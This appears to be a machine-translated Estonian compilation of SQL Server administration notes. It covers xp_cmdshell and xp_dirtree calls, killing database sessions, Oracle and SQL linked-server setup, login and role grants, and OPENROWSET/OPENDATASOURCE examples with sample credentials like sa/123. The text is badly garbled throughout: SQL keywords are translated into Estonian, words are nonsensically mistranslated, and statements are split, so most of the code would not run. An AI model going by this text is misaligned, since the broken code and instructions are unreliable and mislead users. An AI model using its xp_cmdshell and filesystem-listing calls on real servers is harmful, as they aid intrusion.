TÄITEVMEISTER.. XP_dirtree 'c:\',1,1
Juht
master.dbo.xp_cmdshell 'dir'
vali loend (*) [näita] hulgast Küsi, kui palju andmeid on praeguses tabelis
vali distinct hostname,db_name(dbid),net_address,loginame,program_name
Meistrilt.. sysprocessesid
Vali * GameDB01-st. Server01.dbo.cabal_character_table kus nimi='
Siga'
Kui sa selle kustutad, ütleb see: Andmebaasi kasutatakse ja seda ei saa kustutada.
Klõpsa andmebaasil, mida soovid kustutada, et avada sündmuste vaatur.
Sisend:
Kasutus
Meister mine Seejärel sisesta järgmine: deklareeri @d varchar (8000) komplekt @d= ' ' select @d=@d+ ' tapa
'+cast(spid kui varchar)+char(13) Meistrilt.. sysprocesses, kus dbid=db_id('raamatukogu nimi') exec(@d) -- Kasuta koodi, et esmalt kustutada protsess, mis ühendub selle andmebaasiga
MSSQL haldab Oracle'i LinkServeri kaudu
1) Paigalda Oracle SQL_SERVER 2005 serverisse
9i klient. Oletame, et paigaldame C:\ora92i\ kataloogi. Kui D: on NTFS-partitsioon, pead seadistama ORACLE installitud kataloogi kasutatavaks
Tellijatel on õigus käivitada, lisada ja kustutada.
2) Seadista fail C:\ora92i\network\ADMIN\tnsnames.ora faili. (Järgmine punane tekst on näide konfiguratsioonist)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(AADRESS = (PROTOKOLL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Käivita DOS-režiimis järgmine käsk, et kinnitada, et ORACLE klient on õigesti paigaldatud.
SQLplus kasutaja/password@ORCL
4) Ava Start - Control Panel - Services ja kinnita, et Distributed Transaction Coordinator teenus on käivitatud.
5) Open SQL SERVER Management Studio, Instance Name (ORCL) - Server Object (paremklõps) - Uus ühendusserver.
1.
Lingiserver: Kirjuta lingitud serveri nimi, näiteks OracleTest
2. Serveri tüüp, vali teine andmeallikas
3. Ligipääsuliides: Vali Oracle Provider for OLE DB
4. Toote nimi: Write Oracle
5. Andmeallikas: Kirjuta üles
Teenuse nimi, mis on seadistatud tnsnames.ora failis, näiteks ORCL
6. Ligipääsuliidese string: userid=sys kui sysdba; parool=parool
7. Vali turvavalikud lehel kasuta seda paigalduskonteksti ühenduse loomiseks:
a) Kaugsisselogimine: kasutaja (teine kasutaja, mitte süsteemisüsteem)
b)
Kasuta parooli: parool
8. Sea kohalikule sisselogimisele, kaugkasutaja süsteemile "NT AUTHORITY\SYSTEM" ja seadista parool
9.
Kas oled kindel
6) SQL-i kirjutamiseks on kaks võimalust
a) T-SQL süntaksi kasutamine:
VALI * VAHELT
OraTest.ERP.BAS_ITEM_CLASS
Pane tähele, et SQL Query Analyzerisse SQL-lauseid sisestades pööra tähelepanu Hiina täis- ja poollaiuse vahetusele
Nii!
b) Kasuta PLSQL süntaksit: SELECT * FROM openquery (OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Teine ligipääsumeetod on umbes 50% kiirem kui esimene; Teine ligipääsumeetod on otseselt ühendatud
ORACLE on võrreldav; Esimene ligipääsumeetod võib põhjustada ootamatuid vigu, näiteks: Tabelit ei eksisteeri ega praegust kasutajat
Lauale pole ligipääsu ja nii edasi.
d) Kui veerg, millele ligi pääseb, kasutab andmetüüpe ilma täpsuseta, siis mõlemad
See on ORACLE viga, mida ei saa parandada ja mida saab vältida ainult erilise päringulausete käsitlemisega:
OLE DB pakkuja 'OraOLEDB.Oracle' veergude metaandmed on ebajärjekindlad. Metaandmete info muudetakse täitmisel.
MSSQL lisas
Kustuta kasutaja ja anna õigused
Kasuta oma raamatukogu nime mine --Lisa kasutajaid Exec sp_addlogin 'test' -- lisa sisselogimine tegevjuht
sp_grantdbaccess N'test' – muutes selle praeguse andmebaasi legitiimseks kasutajaks tegevjuht sp_addrolemember N'db_owner',
N'test' – annab kõik õigused oma andmebaasile --See loob kasutajad, kes pääsevad ligi ainult oma andmebaasile ja sellele, mis andmebaasis sisalduvad
avalik tabel külaliskasutajatele mine --Eemalda testkasutaja exec sp_revokedbaccess N'test' -- Eemalda juurdepääs andmebaasile
Piirang exec sp_droplogin N'test' -- kustuta sisselogimine Kui lood selle Enterprise Manageris, kasuta: Ettevõtte haldur - turvalisus
Seks --Paremklõps Sisselogimine--Uus sisselogimine Üldised küsimused --Sisesta nime sisse kasutajanimi
--Autentimismeetod valitakse vastavalt sinu vajadustele (kui kasutad Windowsi autentimist, pead esmalt looma uue kasutaja operatsioonisüsteemi kasutajate hulgast)
--Vaikeseadetes vali andmebaasi nimi, millele soovid uuele kasutajale ligi pääseda Serveri rolliüksus Ära vali siin midagi andmebaas
Ligipääsu ese Kontrolli andmebaasi nime, millele soovid kasutajale ligi pääseda Luba andmebaasi rollis, vali "avalik", "db_ownew" Jah, see
Proovi poolt loodud kasutaja on sama, kes eelpool mainitud väite järgi loodud kasutaja
Viimane samm on konkreetsete kasutajate jaoks spetsiifiliste juurdepääsuõiguste määramine, mida saab viidata järgmisele minimaalsele näitele:
--Lisa kasutajad, kellel on lubatud kasutada ainult määratud tabelit: Exec sp_addlogin 'kasutajanimi', 'parool', 'vaikimisi andmebaasi nimi'
--lisa andmebaasi Juht sp_grantdbaccess 'kasutajanimi'
--Määra kogu tabeli õigused ANNA VALIK , SISESTA , UUENDA , KUSTUTA tabelil 1 [kasutajanimele] --Määra õigused konkreetsetele veergudele ANNA VALIK, UUENDA TABLE1(id,AA) AADRESSILE [kasutajanimi]
Spetsiifiliste turvaseadete ja teoreetiliste teadmiste saamiseks vaadake palun SQL Online Help lehte
Fikseeritud andmebaasi rolli kirjeldus db_owner Mul on andmebaasis täielikud õigused.
db_accessadmin Saad lisada või eemaldada kasutaja ID-sid.
db_securityadmin Saab hallata täielikke õigusi, objektide omandit, rolle ja rolliliikmelisusi.
db_ddladmin võib väljastada KÕIK DDL-id, kuid mitte GRANT, REAST ega KEELAMISE avaldusi.
db_backupoperator saab väljastada DBCC, CHECKPOINT ja BACKUP avaldusi.
db_datareader Sa saad valida kõik andmed mis tahes kasutajatabelist andmebaasis.
db_datawriter Sa saad muuta kõiki andmeid mis tahes kasutajatabelis andmebaasis.
db_denydatareader Sa ei saa andmebaasis ühtegi kasutajatabelist andmeid valida.
db_denydatawriter Sa ei saa muuta andmeid üheski kasutajatabelis andmebaasis.
Sa peaksid valima db_datareader, db_datawriter, db_accessadmin
5. Pärast SQL Serveri instantsi käivitamist ühe kasutaja režiimis saab Windowsi administraatori konto kasutada sqlcmd tööriista, et ühendada Windowsi autentimisrežiimis
SQL Server。 Saad kasutada T-SQL käske nagu "sp_addsrvrolemember", et lisada olemasolev sisselogimine süsteemiadministraatori serveri rolli
Või loo uus sisselogimiskonto. Näide on järgmine:
JUHT sp_addsrvrolemember 'CONTOSO\Buck', 'süsteemiadministraator';
MINE
Lisa süsteemiadministraatori privileeg
(1) Serveri rollide haldamine
SQL Serveris on kaks peamist salvestatud protseduuri, mis rakendavad SQL Serveri rollihaldust:
sp_addsrvrolemember
ja sp_dropsrvrolemember
sp_addsrvrolemember Saad lisada sisselogimiskonto serveri rolli, et see oleks selle serveri rolli liige. Süntaks on järgmine: sp_addsrvrolemember
sisselogimine , roll
sp_dropsrvrolemember Sa saad kustutada sisselogimiskonto serveri rollist ja kui liige eemaldatakse serveri rollist, siis tal seda serveri rolli enam ei ole
Load seatud. Süntaks on järgmine: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'roll'
sinna
@loginname on sisselogitud kasutaja nimi; @rolename on serveri roll.
(2) Halda andmebaasi rolle
SQL Serveris on andmebaasi haldamine toetatud
On kuus peamist salvestatud protseduuri tüüpi ning nende spetsiifilised tähendused ja süntaks on järgmised:
sp_addrole: Kasutatakse uue andmebaasi rolli loomiseks; sp_addrole
Roll, omanik
sp_droprole: Kasutati andmebaasi rolli eemaldamiseks praegusest andmebaasi rollist; sp_droprole roll
sp_helprole:
Seda kasutatakse kogu info kuvamiseks kõigi andmebaasi rollide kohta praeguses andmebaasis; sp_helprole ['roll']
sp_addrolemember: Kasutatakse andmebaasi saatmiseks
Lisa andmebaasi kasutajad rolli, mis võivad olla kasutaja määratletud standardrollid või fikseeritud andmebaasirollid, kuid ei saa olla
Rakendusrollid. sp_addrolemember roll, security_account
sp_droprolemember: Kasutatakse teatud tegelase kustutamiseks
majapidamine; sp_droprolemember roll, security_account
sp_helprolemember: Kasutatakse kõigi andmebaasi rolli liikmete kuvamiseks
。 sp_helprolemember ['roll']
MSSQL LINKSERVER päring
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Kuupäev : 2010-06-25 22:23:18 -- Versioon: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. juuli 2008 14:43:34 -- Autoriõigus (c) 1988–2008 Microsoft Corporation --
Arendaja väljaanne Windows NT 5.1 versioonil (Build 2600: Service Pack 2) -- Blogi : -- Teema: SQL-andmeoperatsioonid erinevate serveriandmebaaside vahel ---------------------------------------------------------------------------------- --1. Loo lingiserver --1.1 Loo lingi nimi EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' kaugserveri nimi
või IP-aadressi' -- Kui sul on kohandatud instantsi nimi, lisa "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Loo sisselogimine (või loo lingiserveri sisselogimiskaart) (vali lihtsalt üks viis) --1.2.1 Logi sisse Windowsi autentimisega JUHT sp_addlinkedsrvlogin 'LinkName' --või EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Logi sisse SQL autentimisega EXECUTIVE sp_addlinkedsrvlogin 'LinkName','false', NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Linkserveriga seotud andmetoimingud --2.1 Päringu näide SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
AADRESSILT TonyLink.Mydb.dbo.tb */ -- 2.2 Impordinäide SELECT * INTO table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
AADRESSILT TonyLink.Mydb.dbo.tb */ -- 2.3 Uuenduse näide UUENDA LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET isikud='g' KUS isikud='a' */ -- 2.4 Kustuta näited KUSTUTA LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb KUS isikud='g' */ --3 ridakomplekti funktsiooni kaudu (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Meetod
- 3.1 OPENQUERY meetod (vajab just loodud lingiserveri abi): -- 3.1.1 Päringu näide SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitektuuri nimi. tabeli nimi')
/* Näiteks: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Impordinäited --3.1.2.1 Impordi kõik veerud INSERT OPENQUERY(LinkName, 'SELECT * FROM andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
') VALI * kohalikust tabelist
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
FROM TB */ --3.1.2.2 Impordi määratud veerud INSERT OPENQUERY(LinkName, 'SELECT * FROM andmebaasi nimi. Arhitektuuri nimi. tabeli nimi') (veerg, veerg...) SELECT veerg,
Veerg... KOHALIKUST tabelist
/* Näiteks: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Isikud) VALIMA
VAHEMIK, TASE, ISIKUD TUBERKULOOSIST */ --3.1.3 Uuenduste näited UUENDA OPENQUERY(LinkName, 'SELECT * FROM andmebaasi nime. Arhitektuuri nimi. tabeli nimi') SET väli = 'väärtus' KUS sõna
Segment = 'Seisund'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Isikud='a' */ --3.1.4 Kustuta näited KUSTUTA OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitektuuri nimi. tabeli nimi') KUS välja nimi='tingimus'
/*例
Näiteks: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET meetod (sa ei pea kasutama loodud lingi nime.) Kui ühendatud instantsi nimi ei ole vaikimisi, pead selle määrama SQL-serveri nimeks või IP-aadressiks.
"\instantsi nimi") --3.2.1 Päringunäide --3.2.1.1 Windowsi autentimismeetodi päring (üks järgmistest meetoditest on piisav) VALI * OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või
IP-aadress; Trusted_Connection=jah', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) VALI * OPENROWSET('SQLNCLI',
'server=SQL serveri nimi või IP-aadress; Trusted_Connection=jah', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) VALI * VAHELT
OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; Trusted_Connection=jah','VALI * ANDMEBAASIST
Nimi. Arhitektuuri nimi. tabeli nimi') VALI * OPENROWSET('SQLNCLI', 'server=sql serveri nimi või IP-aadress
Aadress; Trusted_Connection=jah','VALI * FROM andmebaasi nimi. Arhitektuuri nimi. tabeli nimi')
/* Näiteks: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=jah', Mydb.dbo.tb)
Või: VALI * OPENROWSET'IST
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=jah', Mydb.dbo.tb)
Või: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=jah','VALI *
AADRESSILT Mydb.dbo.tb')
Või: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=jah','VALI *
AADRESSILT Mydb.dbo.tb') */ --3.2.1.2 SQL autentimismeetodi päring (üks järgmistest meetoditest on piisav) VALI * OPENROWSETIST
('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) VALI * VAHELT
OPENROWSET('SQLNCLI', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) VALI * OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password','SELECT *
ANDMEBAASI nimest. Arhitektuuri nimi. tabeli nimi') VALI * OPENROWSET('SQLNCLI', 'server=sql serveri nimi või IP-aadress; uid=
Kasutajanimi; pwd=password','SELECT * FROM andmebaasi nimi. Arhitektuuri nimi. tabeli nimi') VALI * OPENROWSET('SQLOLEDB', 'sql
serveri nimi'; 'kasutajanimi'; 'parool', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) VALI * OPENROWSET('SQLNCLI', 'SQL SERVERI NIMI
'; 'kasutajanimi'; 'parool', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) VALI * OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' kasutaja
nimi'; 'Parool', 'VALI * ANDMEBAASI nimest. Arhitektuuri nimi. tabeli nimi') VALI * OPENROWSET('SQLNCLI', 'ql server
nimi'; 'kasutajanimi'; 'Parool', 'VALI * ANDMEBAASI nimest. Arhitektuuri nimi. tabeli nimi')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Või: VALI * OPENROWSET'IST
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Või: VALI * OPENROWSET'IST
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
või: VALI * OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VALI * FROM
Mydb.dbo.tb')
või: VALI * OPENROWSETIST ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
või: VALI * OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
või: VALI * OPENROWSETIST ('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
või: VALI * OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Impordi näide --3.2.2.1 Impordi kõik veerud INSERT OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress
Aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) VALI * kohalikust tabelist
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) VALI * TUBERKULOOSIST */ --3.2.2.2 Import
Määra veerud INSERT OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. riiul
Konstrukti nimi. tabeli nimi) (veerg, veerg...) SELECT veerg, veerg... KOHALIKUST tabelist
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(VAHEMIK,TASE,Isikud) VALIMA
VAHEMIK, TASE, ISIKUD TUBERKULOOSIST */ --Märkus: Alternatiivsemate meetodite jaoks vaata .2.1 päringu näidet, asenda lihtsalt OPENROWSET funktsioon
Sisu on piisav. --3.2.3 Uuenduse näide UUENDA OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi
;p wd=password', andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi) SET väli = 'väärtus' KUS väli = 'tingimus'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Isikud='g' KUS isikud='a' */ --Märkus: Alternatiivsemate meetodite jaoks vaata .2.1 päringu näidet, lihtsalt asenda sisu OPENROWSET-is. --3.2.4 Kustuta viide
Näide KUSTUTA OPENROWSET('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password', andmebaasi nimi. Skeemi nimi
.tabeli nimi) KUS välja nimi='tingimus'
/* Näiteks: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) KUS
Isikud='g' */ --Märkus: Alternatiivsemate meetodite jaoks vaata .2.1 päringu näidet, lihtsalt asenda sisu OPENROWSET-is. --3.3 OPENDATASOURCE meetod
(Sa ei pea kasutama loodud lingi nime.) Kui ühenduse instantsi nimi ei ole vaikimisi, tuleb lisada \instantsi nimi SQL serveri nime või IP-aadressi järel
") --3.3.1 Päringunäide --3.3.1.1 Windowsi autentimismeetodi päring (Piisab ühest järgmistest meetoditest) VALI * OPENDATASOURCE('SQLOLEDB',
'server=SQL serveri nimi või IP-aadress; Trusted_Connection=jah'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi VALI * VAHELT
OPENDATASOURCE('SQLNCLI', 'server=sql serveri nimi või IP-aadress; Trusted_Connection=jah'). Andmebaasi nimi. Arhitektuuri nimi.
Tabeli nimi
/* Näiteks: SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=jah'). Mydb.dbo.tb
Või: VALI * OPENDATASOURCE'IST
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=jah'). Mydb.dbo.tb */ --3.3.1.2 SQL-autentimismeetodi päring (üks järgmistest meetoditest on piisav) VALI * OPENDATASOURCE'IST ('SQLOLEDB', 'server=sql serveri nimi või
IP-aadress; uid=kasutajanimi; pwd=password'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi VALI * OPENDATASOURCE('SQLNCLI', 'server=sql serveri nimi või IP-aadress; uid=kasutaja
Nimi; pwd=password'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi VALI * OPENDATASOURCE('SQLOLEDB', 'Data Source=sql serveri nimi või IP-aadress
Aadress; uid=kasutajanimi; pwd=password'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql serveri nimi või IP-aadress
Aadress; uid=kasutajanimi; pwd=password'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Või: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Või: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Allikas=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Või: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
allikas=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Impordi kõik veerud SISESTA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password').
Raamatukogu nime järgi. Arhitektuuri nimi. Tabeli nimi VALI * kohalikust tabelist
/* Näiteks: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb VALIMA
* TB-st */ --3.3.2.2 Impordi määratud veerud SISESTA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password').
Raamatukogu nime järgi. Arhitektuuri nimi. Tabeli nimi (veerg, veerg...) SELECT veerg, veerg... KOHALIKUST tabelist
/* Näiteks: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ULATUS, TASE, Isikud) VALI VAHEMIK, TASE, Isikud TB-st */ --Märkus: Alternatiivsemate meetodite jaoks vaata .3.1 päringu näidet, lihtsalt asenda sisu reakomplekti funktsioonis (OPENDATASOURCE). --3.3.3 Uuenduse näide UUENDA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi SET väli = 'väärtus' KUS väli = 'tingimus'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Isikud='g' KUS isikud='a' */ --Märkus: Alternatiivsemate meetodite jaoks vaata .3.1 päringu näidet, lihtsalt asenda sisu reakomplekti funktsioonis (OPENDATASOURCE). --3.3.4 Kustuta näide KUSTUTA OPENDATASOURCE('SQLOLEDB', 'server=sql serveri nimi või IP-aadress; uid=kasutajanimi; pwd=password'). Andmebaasi nimi. Arhitektuuri nimi. Tabeli nimi KUS välja nimi='tingimus'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb KUS isikud='g' */ - Märkus: Rohkem alternatiive
Vaata .3.1 päringu näidet, lihtsalt asenda sisu ridakomplekti funktsioonis (OPENDATASOURCE). -- Kustuta lingitud serveri meetod --Kui sa tulevikus lingiinfot enam ei kasuta, saad selle info kustutada --4.1 Kustuta sisselogimisinfo (või kustuta lingitud serveri nimekaart) JUHT sp_droplinkedsrvlogin 'LinkName', NULL
/* Näiteks: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Kustuta lingitud serveri nimi EXECUTIVE sp_dropserver 'LinkName', 'droplogin' – kui droploginid on määratud, Sisselogimiskaart tuleb enne lingitud serveri kustutamist kustutada
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Lisatud
: Kuidas saada teenusepakkuja nimi (EXECUTIVE master). xp_enum_oledb_providers) SELECT CAST([Pakkuja nimi] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion ALLIKAST
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=jah', 'KÄIVITA FMTONLY; TÄITEVJUHT
Meister.. xp_enum_oledb_providers'
)
|